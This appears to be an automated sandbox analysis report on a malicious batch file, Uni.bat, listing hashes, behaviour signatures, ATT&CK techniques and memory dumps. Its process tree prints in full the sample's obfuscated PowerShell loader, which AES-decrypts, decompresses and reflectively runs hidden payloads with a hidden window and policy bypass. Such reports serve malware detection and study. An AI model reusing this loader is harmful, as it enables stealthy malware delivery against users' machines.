38defd519e3b007e7590a2dc8101f356806b1f1cdcdba3eccfa0afc46b2f8577

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
30-05-2024 10:22

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General

Target

Uni.bat
Size

511KB
MD5

9fb9372aca1d8d842589419264c8ae62
SHA1

9313414673f343c9bb14939c6c14697dcdfc1aa0
SHA256

38defd519e3b007e7590a2dc8101f356806b1f1cdcdba3eccfa0afc46b2f8577
SHA512

10b935a27946dd4e4ff22b42782e141d22471f90fe086c6874e783a341066f0b54be8fdcbc7c7df21d96565ed0d7b00afd91bd59ac8c37613579decb0fb84618
SSDEEP

12288:/JXwTLWKJYuv1T5jgKND/v+Tz5Wgv2qwAbMdusp/cq:/JKj5jgKdW5WgOqwAYxh

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2824 powershell.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

2824 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2824 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2824 powershell.exe

pid	process
2824	powershell.exe

pid	process
2824	powershell.exe

pid	process
2824	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2824	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2504 wrote to memory of 2824	2504	cmd.exe	powershell.exe
PID 2504 wrote to memory of 2824	2504	cmd.exe	powershell.exe
PID 2504 wrote to memory of 2824	2504	cmd.exe	powershell.exe
PID 2504 wrote to memory of 2824	2504	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1tEGKi4VytwOkTEJ8mQKeyciBUGLe1meEjQfMLUYBak='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7rtamVIQAKNy+6k+WiT3+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ukQvk=New-Object System.IO.MemoryStream(,$param_var); $BXroT=New-Object System.IO.MemoryStream; $hmuUD=New-Object System.IO.Compression.GZipStream($ukQvk, [IO.Compression.CompressionMode]::Decompress); $hmuUD.CopyTo($BXroT); $hmuUD.Dispose(); $ukQvk.Dispose(); $BXroT.Dispose(); $BXroT.ToArray();}function execute_function($param_var,$param2_var){ $ZKofb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $shval=$ZKofb.EntryPoint; $shval.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$imIdF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($mdSzT in $imIdF) { if ($mdSzT.StartsWith(':: ')) { $Ijxic=$mdSzT.Substring(3); break; }}$payloads_var=[string[]]$Ijxic.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2824-2-0x0000000073751000-0x0000000073752000-memory.dmp

Filesize
4KB

Download
memory/2824-3-0x0000000073750000-0x0000000073CFB000-memory.dmp

Filesize
5.7MB

Download
memory/2824-4-0x0000000073750000-0x0000000073CFB000-memory.dmp

Filesize
5.7MB

Download
memory/2824-5-0x0000000073750000-0x0000000073CFB000-memory.dmp

Filesize
5.7MB

Download
memory/2824-6-0x0000000073750000-0x0000000073CFB000-memory.dmp

Filesize
5.7MB

Download
memory/2824-7-0x0000000073750000-0x0000000073CFB000-memory.dmp

Filesize
5.7MB

Download